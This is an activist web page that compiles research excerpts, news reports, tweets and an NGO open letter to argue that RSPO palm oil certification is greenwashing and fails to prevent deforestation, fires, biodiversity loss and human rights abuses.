Reality: Deforestation and fire
Explore the Series
Further reading: greenwashing and deceptive marketing
Say thanks for this guide by donating to my Ko-Fi
Greenwashing:
RSPO certification protects endangered species living in tropical rainforests
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RSPO marketing materials make grand claims that are not supported by any evidence at all.https://twitter.com/RSPOtweets/status/1660543540378697729?s=20
The team from Chester Zoo encourage children to save endangered species by buying sustainable palm oil.
Lyrics: ‘We have a choice – and it’s sustainable palm oil’
Michelle Desilets, Manager of Orangutan Land Trust explains in this video that ‘deforestation is prohibited by the RSPO’.
What she does not mention is that none of the RSPO’s members have actually stopped deforestation in the 17 years since it began.
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https://twitter.com/RSPOtweets/status/1200683887497756672?s=20
https://twitter.com/RSPOtweets/status/894844642327502848?s=20
https://twitter.com/RSPOtweets/status/1281240693285875712?s=20
https://twitter.com/griffjane/status/1301407429373165568?s=20
https://twitter.com/RSPOtweets/status/1305809870281732096?s=20
https://twitter.com/orangulandtrust/status/1246908272931753988?s=20
https://twitter.com/orangulandtrust/status/1002860521215942656?s=20
https://twitter.com/RSPOtweets/status/1414519913457270794?s=20
Reality: “Sustainable” Palm Oil does not stop biodiversity loss
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“In the plantation, the calls of birds and beasts are replaced by a deathly silence, which is particularly eerie in the glaring heat of the midday sun. Sounds of life are replaced by sounds of death—roaring bull-dozers, gnawing chainsaws, the crackle of illegal burning, and the rumble of overloaded trucks carrying oil palm fruit and timber.”.
Currently certified grower supply bases and concessions in Sumatra and Borneo are located in large mammal’s habitat and in areas that were biodiverse tropical forests less than 30 years ago. We suggest that certification schemes claim for the “sustainable” production of palm oil just because they neglect a very recent past of deforestation and habitat degradation.
Roberto Cazzolla Gatti, Alena Velichevskaya, Certified “sustainable” palm oil took the place of endangered Bornean and Sumatran large mammals habitat and tropical forests in the last 30 years, Science of The Total Environment, Vol 742, 2020,
https://doi.org/10.1016/j.scitotenv.2020.140712.Oil palm plantations support much fewer species than do forests and often also fewer than other tree crops. Further negative impacts include habitat fragmentation and pollution, including greenhouse gas emissions.
Emily B. Fitzherbert, Matthew J. Struebig, Alexandra Morel, Finn Danielsen, Carsten A. Brühl, Paul F. Donald, Ben Phalan, How will oil palm expansion affect biodiversity?,
Trends in Ecology & Evolution, Vol 23, 2008, https://doi.org/10.1016/j.tree.2008.06.012.We found that certified plantation concessions that are committed to deforestation-free production are limited in their ability to prevent further biodiversity loss, due to the past conversion of forest habitats to plantations. Concession holders can improve forest habitats through corridor development and other measures, which would mitigate, but not prevent, further biodiversity loss.
Hideyuki Kubo, Arief Darmawan, Hendarto, André Derek Mader,
The effect of agricultural certification schemes on biodiversity loss in the tropics,
Biological Conservation, Volume 261, 2021, https://doi.org/10.1016/j.biocon.2021.109243.We uncover the global patterns of oil palm expansion and find that global oil palm expansion has a very high degree of potential conflict with local biodiversity. Globally, 99.9% of oil palm plantations overlapped with Conservation Priority Zones (CPZs) and oil palm plantations encroached on 231 protected areas.
Le Yu, Yue Cao, Yuqi Cheng, Qiang Zhao, Yidi Xu, Kasturi Kanniah, Hui Lu, Rui Yang & Peng Gong (2022) A study of the serious conflicts between oil palm expansion and biodiversity conservation using high-resolution remote sensing, Remote Sensing Letters, DOI: 10.1080/2150704X.2022.2063701
https://twitter.com/adinarenner/status/1392148610448568329?s=20
We found a high overlap between areas of high oil palm suitability and areas of high conservation priority for primates. Overall, we found only a few small areas where oil palm could be cultivated in Africa with a low impact on primates (3.3 Mha, including all areas suitable for oil palm). These results warn that, consistent with the dramatic effects of palm oil cultivation on biodiversity in Southeast Asia, reconciling a large-scale development of oil palm in Africa with primate conservation will be a great challenge.
Small room for compromise between oil palm cultivation and primate conservation in Africa
Giovanni Strona, Simon D. Stringer, Ghislain Vieilledent, et. al.
Proceedings of the National Academy of Sciences (2018), 115 (35) 8811-8816; DOI: 10.1073/pnas.1804775115As of 2019, more than 60% of the palm oil plantations in the study area were in Key Biodiversity Areas. KBAs are sites that contribute significantly to the global persistence of biodiversity in terrestrial, freshwater and marine ecosystems. RSPO-certified plantations, comprising 63% of the total cultivated area assessed, did not produce a statistically significant reduction in deforestation and appear to be ineffective at reducing encroachment into ecologically sensitive areas in Guatemala.
Calli P. VanderWilde, Joshua P. Newell, Dimitrios Gounaridis, Benjamin P. Goldstein,
Deforestation, certification, and transnational palm oil supply chains: Linking Guatemala to global consumer markets, Journal of Environmental Management,
Volume 344, 2023. https://doi.org/10.1016/j.jenvman.2023.118505There was no significant difference was found between certified and non-certified plantations for any of the sustainability metrics investigated, however positive economic trends including greater fresh fruit bunch yields were revealed. To achieve intended outcomes, RSPO principles and criteria are in need of substantial improvement and rigorous enforcement.
Morgans, C. L. et al. Evaluating the effectiveness of palm oil certification in delivering multiple sustainability objectives. Environ. Res. Lett. 13, 064032, 2018.
“The big message is that oil palm is bad for biodiversity, in every sense of the word — even when compared to damaged rainforests that are regenerating after earlier logging or clearing.”
Professor Bill Laurance, James Cook University. ‘Palm oil plantations are bad for wildlife great and small’. The Conversation.
We analyse consequences of the globally important land-use transformation from tropical forests to oil palm plantations. Species diversity, density and biomass of invertebrate communities suffer at least 45% decreases from rainforest to oil palm.
Barnes, A., Jochum, M., Mumme, S. et al. Consequences of tropical land use for multitrophic biodiversity and ecosystem functioning. Nat Commun 5, 5351 (2014). https://doi.org/10.1038/ncomms6351
Palm oil also poses a global risk for zoonotic diseases such as Covid-19
Taking into account the human population growth, we find that the increases in outbreaks of zoonotic and vector-borne diseases from 1990 to 2016 are linked with deforestation, mostly in tropical countries, and with reforestation, mostly in temperate countries. We also find that outbreaks of vector-borne diseases are associated with the increase in areas of palm oil plantations.
Outbreaks of Vector-Borne and Zoonotic Diseases Are Associated With Changes in Forest Cover and Oil Palm Expansion at Global Scale
(2021) Morand Serge, Lajaunie Claire, Frontiers in Veterinary Science. https://www.frontiersin.org/article/10.3389/fvets.2021.661063
DOI=10.3389/fvets.2021.661063Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire – Neue Zürcher Zeitung (NZZ)
Fire started within orangutan habitats and destroyed them – this was not investigated by the RSPO
The team used map data from @globalforests and @UMBaltimore, #sentinel2 images from @esa, concession boundaries from @RSPOtweets and #fire hotspot data (#VIIRS) from @NASAEarth.
Originally tweeted by Adina Renner (@adinarenner) on May 10, 2021.
Read moreAsia: Species Endangered by Palm Oil Deforestation
Africa: Species Endangered by Palm Oil Deforestation
Papua New Guinea & West Papua: Species Endangered by Palm Oil Deforestation
South America: Species Endangered by Palm Oil Deforestation
Greenwashing
‘Europeans have destroyed their forests for agriculture, so why can’t we do the same in the tropics? Stopping our economic development is hypocrisy and colonialism’
‘Sustainable palm oil helps the livelihood of workers on RSPO certified palm oil plantations.‘
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Research analysing media and social media messages around palm oil in Malaysia and Indonesia finds that palm oil lobbyists use an ‘Us’ Versus ‘Them’ narrative, in other words, they invoke colonial racism to justify continued deforestation and ecocide.
Four mutually complementary narratives were used by Indonesian and Malaysian media to construe denialism These denialist narratives appeal to a nationalist sentiment of ‘us’ – palm oil-producing developing countries – and ‘them’ – western developed countries producing research critical of the industry.
Liu, Felicia & Ganesan, Vignaa & Smith, Thomas. (2020). Contrasting communications of sustainability science in the media coverage of palm oil agriculture on tropical peatlands in Indonesia, Malaysia and Singapore. Environmental Science & Policy. 114. 162-169. 10.1016/j.envsci.2020.07.004.
RSPO advertisement from social media, with a focus on promoting better workers rights under certified palm oil. An RSPO advertisement targeting the Indian market in 2021 by the RSPO showing supposed benefits for palm oil workers.We had the luck to be born into a developed country, I believe we need to acknowledge the right of lesser-developed countries to develop. We simply have no right to tell a country like Indonesia to forgo economic development, but we can help to steer that development in a sustainable direction.
Michelle Desilets, Director, Orangutan Land Trust. The Switch Report, 2014
Social media messaging by palm oil lobbyists reflects a focus on ‘Us’: poor, palm oil producing nations, versus ‘Them’: the ‘greedy, already developed West.
https://twitter.com/CPOPC_ORG/status/1295253527191642113?s=20
https://twitter.com/palmoiltruther/status/1420662530863550464?s=20
https://twitter.com/palm_eu/status/1440943483410386945?s=20
https://twitter.com/emeijaard/status/1191961097294757889?s=20
https://twitter.com/palmoilmonitor/status/1445795527560515587?s=20
https://twitter.com/CIFOR/status/1016759321701552133?s=20
Reality: Human rights abuses and landgrabbing are ongoing for “sustainable” palm oil
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University of Michigan 2023 study: RSPO plantations do not reduce deforestation in Guatemala
A 2021 Investigation by Global Witness found that palm oil companies in Papua New Guinea are alleged to have been involved in corruption, child labour, tax evasion, deforestation, worker deaths and paying police to assault villagers.
The palm oil from these mills in Papua New Guinea is used by RSPO members Colgate-Palmolive, Kelloggs, General Mills, Nestle, Hersheys, Danone, PZ Cussons – finds its way into our weekly supermarket shop.
Read reporthttps://twitter.com/earthsight/status/1192827396451438592?s=20&t=rnSAWHikl-a8C6GAd9n09g
https://twitter.com/Rainforest_RIN/status/1541428640491212801?s=20&t=rnSAWHikl-a8C6GAd9n09g
A 2019 World Health Organisation (WHO) report into the palm oil industry finds extensive greenwashing of human rights abuses
Read moreCertified goods improve the price and income of sale for certified goods, but they do not advance equity, income or assets for workers
We identified 64 conflicts that involved RSPO member companies, of which 17 prompted communities to convey their grievances to the RSPO’s conflict resolution mechanism…We conclude that—on all counts—the conflict resolution mechanism is biased in favor of companies. The result of these biases is that the actual capacity of the RSPO’s mechanism to provide a meaningful remedy for rural communities’ grievances remains very limited. This unequal access to justice sustains conflicts between companies and communities over land.
Afrizal, A., Hospes, O., Berenschot, W. et al. Unequal access to justice: an evaluation of RSPO’s capacity to resolve palm oil conflicts in Indonesia. Agric Hum Values 40, 291–304 (2023). https://doi.org/10.1007/s10460-022-10360-z
We find positive effects on prices and income from sale of certified products. However, we find no change in overall household income and assets for workers. The wages for workers are not higher in certified production.
Oya, C., Schaefer, F. & Skalidou, D. The effectiveness of agricultural certification in developing countries: a systematic review. World Dev. 112, 282–312 (2018).
We find that, while sustainability standards can help improve the sustainability of production processes in certain situations, they are insufficient to ensure food system sustainability at scale, nor do they advance equity objectives in agrifood supply chains.
Meemken, EM., Barrett, C.B., Michelson, H.C. et al. Sustainability standards in global agrifood supply chains. Nat Food (2021). https://doi.org/10.1038/s43016-021-00360-3
Deforestation by fire for palm oilDeforestation – Craig Jones Wildlife Photography After a forest fire in Sumatra – Craig Jones Wildlife Photography Research: Palm Oil Deforestation and its connection to retail brandsOil palm expansion is shaped by wider political economies and development policies.
Market-based development policies have favored large-scale over smallholder production.
Benefits from oil palm are unevenly distributed across rural population.
Violence across forest frontiers has fueled conflicts linked to oil palm.
Weak forest governance has led to significant deforestation by industrial plantations.
A. Castellanos-Navarrete, F. de Castro, P. Pacheco,
The impact of oil palm on rural livelihoods and tropical forest landscapes in Latin America, Journal of Rural Studies,
Volume 81, 2021, https://doi.org/10.1016/j.jrurstud.2020.10.047.This article argues that the form of sustainability offered by certification schemes such as the RSPO fetishes the commodity palm oil in order to assuage critical consumer initiatives in the North. This technical-managerial solution is part of a larger project: the “post-political” climate politics regime (Swyngedouw) that attempts to “green” the status quo.
Commodifying sustainability: Development, nature and politics in the palm oil industry (2019) World Development
Volume 121, September 2019, Pages 218-228- The palm oil industry is neither sustainable nor a viable development model.
- Certification represents a technical fix which neglects underlying dynamics of power, class, gender and accumulation.
- The fetishised commodity ‘certified sustainable palm oil’ has no impact on the regional scale of expansion.
- Working conditions in the plantations and mills entrench social inequality and poverty.
From: Commodifying sustainability: Development, nature and politics in the palm oil industry (2019) World Development
Deforestation in West PapuaDeforestation – Craig Jones Wildlife Photography
Volume 121, September 2019, Pages 218-228Deforestation for palm oil: the impact of increased heat on human health
477 villages throughout Kalimantan were surveyed about forest health benefits.
The most frequent answer was maintenance of cool local temperatures.
Perceptions were driven by deforestation and local temperature.
Results point to possible threat of heat impacts on health.
Policy should incorporate human health when considering land use.
Nicholas H. Wolff, Yuta J. Masuda, Erik Meijaard, Jessie A. Wells, Edward T. Game,
Impacts of tropical deforestation on local temperature and human well-being perceptions, Global Environmental Change, Volume 52, 2018, https://doi.org/10.1016/j.gloenvcha.2018.07.004.The False Promise of Certification, Changing Markets (2018)
The False Promise of Certification (2018) Changing Markets Download report“While RSPO is often referred to as the best scheme in the sector, it
has several shortcomings; most notably, it allows the conversion of secondary forests and the draining
of peatlands, it has not prevented human rights violations and it does not require GHG emissions
reductions.“In light of this, we call for action to reduce demand for palm oil, such as
ditching biofuels targets, as well as channelling new plantations into non-forested areas by putting in
place a strong moratorium on palm oil expansion to forests and peatlands. Most schemes in this sector
should be abolished in light of their failures on multiple fronts.”— The False Promise of Certification (2018) Changing Markets
MSI’s (Multi-Stakeholder Initiatives including the RSPO and Rainforest Alliance) are inadequate in detecting human rights abuses and uphold standards
MSI Insight Report on Monitoring and Compliance in Multi-Stakeholder Initiatives (MSIs) like the RSPO (2020) Download report“MSIs put considerable emphasis on the standards that they set, but have not developed effective mechanisms for detecting abuses, enforcing compliance with those standards, or transparently disclosing levels of compliance. Despite the emergence of models that enable rights holders to legally enforce MSIs’ standards or to be actively engaged in monitoring companies for abuses, MSIs have not adopted them. By focusing on setting standards without adequately ensuring if members are following those standards, MSIs risk providing companies and governments with powerful reputational benefits despite the persistence of rights abuses.”
The difficulty of addressing and resolving oil palm conflicts is due not only to the inadequacies of Indonesia’s legal framework regarding land and plantations but also to the way in which Indonesia’s informalized state institutions foster collusion between local power holders and palm oil companies. This collusion enables companies to evade regulation, suppress community protests and avoid engaging in constructive efforts to resolve conflicts. Furthermore, this collusion has made the available conflict resolution mechanisms largely ineffective.
Anti-Corporate Activism and Collusion: The Contentious Politics of Palm Oil Expansion in Indonesia, (2022). Ward Berenschot, et. al., Geoforum, Volume 131, 2022, https://doi.org/10.1016/j.geoforum.2022.03.002
Associated Press 2020 Report: Beauty Brands (RSPO members) L’Oreal, Colgate-Palmolive, Johnson& Johnson, Unilever linked to rape on palm oil plantations
https://twitter.com/AP/status/1330163571951611906?s=20
https://twitter.com/dwnews/status/1329701899180924928?s=20
Associated Press Investigation (2020) finds wide-spread rape, human rights abuses and slavery on palm oil plantations for well known brands: Unilever, Johnson & Johnson, L’Oreal, Avon, Colgate Palmolive Dayak Indigenous Ethnographer Dr Setia Budhi: In His Own Words“The expansion of oil palm plantations has created many detrimental environmental impacts, including deforestation, loss of biodiversity, land conflicts, labour conflicts, and social conflicts around plantations.
“Environmental damage and social injustice were reasons why the global palm oil certification, the Roundtable on Sustainable Palm Oil (RSPO) was established.
“In practice, requirements for oil palm certifications are easily violated. Lots of things are problematic.”
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Global corporates are responsible for the majority of palm oil production and deforestation risk, not smallholder farmers
The three biggest palm oil traders: Sinar Mas, Wilmar and Musim Mas – are founding members of the RSPO. They have the biggest deforestation risk of all other palm oil companies combined. Deforestation goes against the RSPO’s rules – yet these big companies do not lose their RSPO membership or face punishment.
Source: Insights: Indonesian Palm Oil. Trase Earth (2018)
Search the Environmental Justice Atlas for specific companies and their human rights abuses and land-grabbing record
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RSPO: 14 years of failure to eliminate violence and destruction from the industrial palm oil sector
Friends of the Earth and 100 other human rights and environmental NGOS co-signed this letter in 2018
Read original letterLetter
During its 14 years of existence, RSPO – the Roundtable on Sustainable Palm Oil – has failed to live up to its claim of “transforming” the industrial palm oil production sector into a so-called “sustainable” one. In reality, the RSPO has been used by the palm oil industry to greenwash corporate destruction and human rights abuses, while it continues to expand business, forest destruction and profits.
RSPO presents itself to the public with the slogan “transforming the markets to make sustainable palm oil the norm”. Palm oil has become the cheapest vegetable oil available on the global market, making it a popular choice among the group that dominates RSPO membership, big palm oil buyers.
They will do everything to secure a steady flow of cheap palm oil. They also know that the key to the corporate success story of producing “cheap” palm oil is a particular model of industrial production, with ever-increasing efficiency and productivity which in turn is achieved by:
- Planting on a large-scale and in monoculture, frequently through conversion of tropical biodiverse forests
- Using “high yielding” seedlings that demand large amounts of agrotoxics and abundant water.
- Squeezing cheap labour out of the smallest possible work force, employed in precarious conditions so that company costs are cut to a minimum
- Making significant up-front money from the tropical timber extracted from concessions, which is then used to finance plantation development or increase corporate profits.
- Grabbing land violently from local communities or by means of other arrangements with governments (including favourable tax regimes) to access land at the lowest possible cost.
Those living on the fertile land that the corporations choose to apply their industrial palm oil production model, pay a very high price.
Violence is intrinsic to this model:
- violence and repression when communities resist the corporate take over of their land because they know that once their land is turned into monoculture oil palm plantations, their livelihoods will be destroyed, their land and forests invaded. In countless cases, deforestation caused by the expansion of this industry, has displaced communities or destroyed community livelihoods where
- companies violate customary rights and take control of community land;
- sexual violence and harassment against women in and around the plantations which often stays invisible because women find themselves without possibilities to demand that the perpetrators be prosecuted;
- Child labour and precarious working conditions that go hand-in-hand with violation of workers’ rights;
- working conditions can even be so bad as to amount to contemporary forms of slavery. This exploitative model of work grants companies more economic profits while allowing palm oil to remain a cheap product. That is why, neither them or their shareholders do anything to stop it.
- exposure of workers, entire communities and forests, rivers, water springs, agricultural land and soils to the excessive application of agrotoxics;
- depriving communities surrounded by industrial oil palm plantations of their food sovereignty when industrial oil palm plantations occupy land that communities need to grow food crops.
RSPO’s proclaimed vision of transforming the industrial oil palm sector is doomed to fail because the Roundtable’s certification principles promote this structural violent and destructive model.
The RSPO also fails to address the industry’s reliance on exclusive control of large and contingent areas of fertile land, as well as the industry’s growth paradigm which demands a continued expansion of corporate control over community land and violent land grabs.
None of RPSO’s eight certification principles suggests transforming this industry reliance on exclusive control over vast areas of land or the growth paradigm inherent to the model.
Industrial use of vegetable oils has doubled in the past 15 years, with palm oil being the cheapest. This massive increase of palm oil use in part explains the current expansion of industrial oil palm plantations, especially in Africa and Latin America, from the year 2000 onward, in addition to the existing vast plantations areas in Malaysia and Indonesia that also continue expanding.
On the ground, countless examples show that industrial oil palm plantations continue to be synonymous to violence and destruction for communities and forests. Communities’ experiences in the new industrial oil palm plantation frontiers, such as Gabon, Nigeria, Cameroon, Liberia, Sierra Leone, Peru, Honduras, Brazil, Colombia, Ecuador, are similar to past and ongoing community experiences in Indonesia and Malaysia.
RSPO creates a smokescreen that makes this violence invisible for consumers and financiers. Governments often fail to take regulatory action to stop the expansion of plantations and increasing demand of palm oil; they rely on RSPO to deliver an apparently sustainable flow of palm oil.
For example, in its public propaganda, RSPO claims it supports more than 100,000 small holders. But the profit from palm oil production is still disproportionally appropriated by the oil palm companies: in 2016, 88% of all certified palm oil came from corporate plantations and 99,6% of the production is corporate-controlled.
RSPO also claims that the principle of Free, Prior and Informed Consent (FPIC) is key among its own Principles and Criteria. The right to FPIC implies, among others, that if a community denies the establishment of this monoculture in its territory, operations cannot be carried out. Reality shows us, however, that despite this, many projects go ahead.
Concessions are often guaranteed long before the company reaches out to the affected communities. Under these circumstances, to say that FPIC is central to RSPO is bluntly false and disrespectful.
RSPO also argues that where conflicts with the plantation companies arise, communities can always use its complaint mechanism. However, the mechanism is complex and it rarely solves the problems that communities face and want to resolve.
This becomes particularly apparent in relation to land legacy conflicts where the mechanism is biased against communities. It allows companies to continue exploiting community land until courts have come to a decision. This approach encourages companies to sit out such conflicts and count on court proceedings dragging on, often over decades.
Another argument used by RSPO is that industrial oil palm plantations have lifted millions of people out of poverty. That claim is certainly questionable, even more so considering that there is also an important number of people who have been displaced over the past decades to make space for plantations.
Indigenous communities have in fact lost their fertile land, forests and rivers to oil palm plantations, adversely affecting their food, culture and local economies.
The RSPO promise of “transformation” has turned into a powerful greenwashing tool for corporations in the palm oil industry. RSPO grants this industry, which remains responsible for violent land grabbing, environmental destruction, pollution through excessive use of agrotoxics and destruction of peasant and indigenous livelihoods, a “sustainable” image.
What’s more, RSPO membership seems to suffice for investors and companies to be able to claim that they are “responsible” actors. This greenwash is particularly stunning, since being a member does not guarantee much change on the ground. Only recently, a company became RSPO member after it was found to deforest over 27.000 hectares of rainforest in Papua, Indonesia.
Certification is structurally dependent on the very same policies and regulation that have given rise to the host of environmental devastation and community land rights violations associated with oil palm plantations. These systemic governance issues are part of the destructive economic model, and embedded in state power.
For this reason, voluntary certification schemes cannot provide adequate protection for forests, community rights, food sovereignty and guarantee sustainability. Governments and financiers need to take responsibility to stop the destructive palm oil expansion that violates the rights of local communities and Indigenous Peoples.
As immediate steps, governments need to:
- Put in place a moratorium on palm oil plantations expansion and use that as a breathing space to fix the policy frameworks;
- Drastically reduce demand for palm oil: stop using food for fuel;
- Strengthen and respect the rights of local communities and Indigenous Peoples to amongst others, self-determination and territorial control.
- Promote agro-ecology and community control of their forests, which strengthens local incomes, livelihoods and food sovereignty, instead of advancing industrial agro-businesses.
Signatures
- Aalamaram-NGOAcción Ecológica, Ecuador
- ActionAid, France
- AGAPAN
Amics arbres - Arbres amics
- Amis de la Terre France
- ARAARBA (Asociación para la Recuperación del Bosque Autóctono)
- Asociación Conservacionista YISKI, Costa Rica
Asociación Gaia El Salvador - Association Congo Actif, Paris
- Association Les Gens du Partage, Carrières-sous-Poissy
- Association pour le développement des aires protégées, Swizterland
- BASE IS
- Bézu St Eloi
- Boxberg OT Uhyst
- Bread for all
- Bruno Manser Fund
- CADDECAE, Ecuador
- Campaign to STOP GE Trees
- CAP, Center for Advocacy Practices
- Centar za životnu sredinu/ Friends of the Earth Bosnia and Herzegovina
- CESTA – FOE El Salvador
- CETRI – Centre tricontinental
- Climate Change Kenya
- Coalición de Tendencia Clasista. (CTC-VZLA)
- Colectivo de Investigación y Acompañmiento Comunitario
- Collectif pour la défense des terres malgaches – TANY, Madagascar
- Community Forest Watch, Nigeria
- Consumers Association of Penang
- Corporate Europe Observatory
- Cuttington University
- Down to Earth Consult
- El Campello
- Environmental Resources Management and Social Issue Centre (ERMSIC) Cameroon
- Environmental Rights Action/Friends of the Earth Nigeria
- FASE ES , Brazil
- Fédération romande des consommateurs
- FENEV, (Femmes Environnement nature Entrepreneuriat Vert).
- Focus on the Global South
- Forum Ökologie & Papier, Germany
- Friends of the Earth Ghana
- Friends of the Earth International
- GE Free NZ, New Zealand
- Global Alliance against REDD
- Global Justice Ecology Project
- Global Info
- Gobierno Territorial Autónomo de la Nación Wampís , Peru
- GRAIN
- Green Development Advocates (GDA)
- CameroonGreystones, Ireland
- Groupe International de Travail pour les Peuples Autochtones
Grupo ETC - Grupo Guayubira, Uruguay
- Instituto Mexicano de Gobernanza Medioambiental AC Instituto Mexicano de Gobernanza Medioambiental AC
- Integrated Program for the Development of the Pygmy People (PIDP), DRC
- Justica Ambiental
- Justicia Paz e Integridad de la Creacion. Costa Rica
- Kempityari
- Latin Ambiente, http://www.latinambiente.org
- Les gens du partage
- LOYOLA SCHOOL OF THEOLOGY, MANILA
- Maderas del Pueblo del Sureste, AC
- Maiouri nature, Guyane
- Mangrove Action Project
- Milieudefensie – Friends of the Earth Netherlands
- Movimento Amigos da Rua Gonçalo de Carvalho
- Muyissi Environnement, Gabon
- Nature-d-congo de la République du Congo
- New Wind Association from Finland
- NOAH-Friends of the Earth Denmark
- Oakland Institute
- OFRANEH, Honduras
- Ole Siosiomaga Society Incorporated (OLSSI)
- ONG OCEAN : Organisation Congolaise des Ecologistes et Amis de la Nature et sommes basés en RD Congo.
- OPIROMA, Brazil
- Otros Mundos A.C./Amigos de la Tierra México
- Paramo Guerrrero Zipaquira
- PROYECTO GRAN SIMIO (GAP/PGS-España)
- Quercus – ANCN, Portugal
- Radd (Reseau des Acteurs du Développement Durable) , Cameroon
- Rainforest Foundation UK
- Rainforest Relief
- ReAct – Alliances Transnationales
- RECOMA – Red latinoamericana contra los monocultivos de árboles
- Red de Coordinacion en Biodiversidad , Çosta Rica
- REFEB-Cote d’Ivoire
- Rettet den Regenwald, Germany
- ROBIN WOOD
- Sahabat Alam Malaysia (Friends of the Earth Malaysia)
- Salva la Selva
- School of Democratic Economics, Indonesia
- Serendipalm Company Limited
- Sherpa , The Netherlands
- SYNAPARCAM, Cameroon
- The Corner House, UK
Towards Equitable Sustainable Holistic Development - TRAFFED KIVU ,RD. CONGOUNIÓN UNIVERSAL DESARROLLO SOLIDARIO
University of Sussex, UK - UTB ColombiaWatch Indonesia!
- WESSA
World Rainforest Movement - Youth Volunteers for the Environment Ghana
Epidemics and rapacity of multinational companies in Liberia
Discussion Paper. The Centre for Economic Performance, London School of Economics. Release date: 12th March, 2022
Conclusion
https://twitter.com/CEP_LSE/status/1502238109677015044?s=20&t=CwBhOE-SLGkXtNxC9nXw5w
This paper provides novel granular evidence on the interaction between the Ebola epidemic, deforestation, and palm oil plantations in Liberia. The palm oil multinationals, exploiting the health crisis, stepped up deforestation to increase output. The effect on deforestation is more severe in areas inhabited by politically unrepresented ethnic groups, characterized by a reduction in tree coverage by 6.5%.
We also document an increase of more than 125% in the likelihood of
fire events within concessions during the epidemic. This suggests that not only did the palm oil companies foster deforestation, but further that they used forest fires to do so. This is particularly harmful to the environment, and the smoke and the haze may have severe health consequences, apart from being a source of carbon dioxide.This deforestation was accompanied by a 150% increase in the amount of land dedicated to cultivation.
Read moreThis exploitative behaviour was highly profitable for palm oil companies, with a 1428% increase in the value of Liberian palm oil’s exports compared with the pre-Ebola period. Unfortunately, we cannot say the same for local people or the local environment.
Greenwashing
The RSPO prevents and stops deforestation and fires on palm oil plantations by its members
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https://twitter.com/orangutans/status/1146706666508955648?s=20
https://twitter.com/orangulandtrust/status/1355496891673415680?s=20
https://twitter.com/SimamoraDupito/status/1442410921519771649?s=20
https://twitter.com/orangulandtrust/status/1355827449397915651?s=20
https://twitter.com/orangutans/status/1461673435965313025
https://twitter.com/RSPOtweets/status/1419944414751989760?s=20
https://twitter.com/RSPOtweets/status/1173741858171830272?s=20
https://twitter.com/orangulandtrust/status/1447297851038605315?s=20
https://twitter.com/HersheyCompany/status/1447916947669192709?s=20
https://twitter.com/orangulandtrust/status/1169538449680031745?s=20
https://twitter.com/RSPOtweets/status/1385138817309548544?s=20
https://twitter.com/orangulandtrust/status/1169532824375955456?s=20
https://twitter.com/Nestle/status/1404782473221967872?s=20
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Greenwashing
Lies and denialism in the media about the environmental impact of palm oil
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Research into media coverage of the environmental impact of palm oil in Indonesia shows they deny it’s causing ecocide
We found that media reporting of the denialist narrative is more prevalent than that of the peer-reviewed science consensus-view that palm oil plantations on tropical peat could cause excessive greenhouse gas emissions and enhance the risk of fires.
Our article alerts to the continuation of unsustainable practices as justified by the media to the public, and that the prevalence of these denialist narratives constitute a significant obstacle in resolving pressing issues such as transboundary haze, biodiversity loss, and land-use change related greenhouse gas emissions in Southeast Asia.
Liu, Felicia & Ganesan, Vignaa & Smith, Thomas. (2020). Contrasting communications of sustainability science in the media coverage of palm oil agriculture on tropical peatlands in Indonesia, Malaysia and Singapore. Environmental Science & Policy. 114. 162-169. 10.1016/j.envsci.2020.07.004.
https://twitter.com/CPOPC_ORG/status/1448232875535388678?s=20
https://twitter.com/CPOPC_ORG/status/1436104523756433434?s=20
Indonesian President Joko Widodo’s administration has achieved four consecutive years of deforestation declines via land-use reforms and re-establishing a logging moratorium. This significant work culminated in 2020 when the country gained its lowest deforestation rates since monitoring began, reaching a 75% drop year-over-year.
Reality: RSPO “Sustainable” Palm Oil Does Not Stop or Prevent Deforestation
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Tweet from Bart Van Assen, former lead auditor for the RSPO and HCV admitting that the main goal of the RSPO, FSC and other certification initiatives is not to prevent deforestation. (Bart has formerly used @palmoiltruther on Twitter but now changes between @Forest4Apes or @Apes4Forests depending on times when he attempts to conceal his identity).
Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire – Neue Zürcher Zeitung (NZZ)
Certification had no causal impact on forest loss in peatlands or active fire detection rates.
Kimberly M. Carlson, Robert Heilmayr, Holly K. Gibbs, Praveen Noojipady et al. Effect of oil palm sustainability certification on deforestation and fire in Indonesia, PNAS January 2, 2018 115 (1) 121-126 https://doi.org/10.1073/pnas.1704728114
No significant difference was found between certified and non-certified plantations for any of the sustainability metrics investigated, however positive economic trends including greater fresh fruit bunch yields were revealed. To achieve intended outcomes, RSPO principles and criteria are in need of substantial improvement and rigorous enforcement.
Morgans, C. L. et al. Evaluating the effectiveness of palm oil certification in delivering multiple sustainability objectives. Environ. Res. Lett. 13, 064032 (2018).
The Neue Zuercher Zeitung used several cases to highlight where slash-and-burn techniques continue on RSPO-certified land, and where new plantations are threatening important ecosystems. These examples are representative of the huge gap between the need for environmental protection and the ever-increasing global demand for palm oil.
Adina Renner, Conradin Zellweger, Barnaby Skinner. ‘Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire’. Neue Zürcher Zeitung (May 2021) (In English)
Swiss multinational Nestlé received hundreds of thousands of alerts of forest clearing near its palm oil suppliers in 2019 via satellite monitoring.
Nestlé identified over 1,000 cases of deforestation per day in palm oil areas. SwissInfo (2020).
https://twitter.com/adinarenner/status/1392148610448568329?s=20
Fire outbreaks in and around palm oil concessions (often starting from slash-and-burn fires to clear land for plantations).
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Thousands of fire alerts were recorded by Chain Reaction Research on RSPO member palm oil plantations
The top ten palm oil traders and refiners in Indonesia all had thousands of alerts for fires in their palm oil plantations:
- ADM
- Unilever
- Neste
- Cargill
- Bunge
- Wilmar
- Olam
- AAK
all of these companies are RSPO members
https://youtu.be/jdYT_g9ENxw?t=1346
A still from the Chain Reaction Research video: Which Companies are Expoosed to Deforestation Driven Fires in their Supply ChainsA 2019 World Health Organisation (WHO) report into the palm oil industry and RSPO finds extensive greenwashing of palm oil deforestation and the murder of endangered animals (i.e. biodiversity loss)
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Explore the series
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Join the #Boycott4Wildlife and fight greenwashing and deforestation by using your wallet as a weapon!
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Further reading on palm oil ecocide, greenwashing and deceptive marketing
- A Brief History of Consumer Culture, Dr. Kerryn Higgs, The MIT Press Reader. https://thereader.mitpress.mit.edu/a-brief-history-of-consumer-culture/
- A Deluge of Double-Speak (2017), Jason Bagley. Truth in Advertising. https://truthinadvertising.org/blog/a-deluge-of-doublespeak/
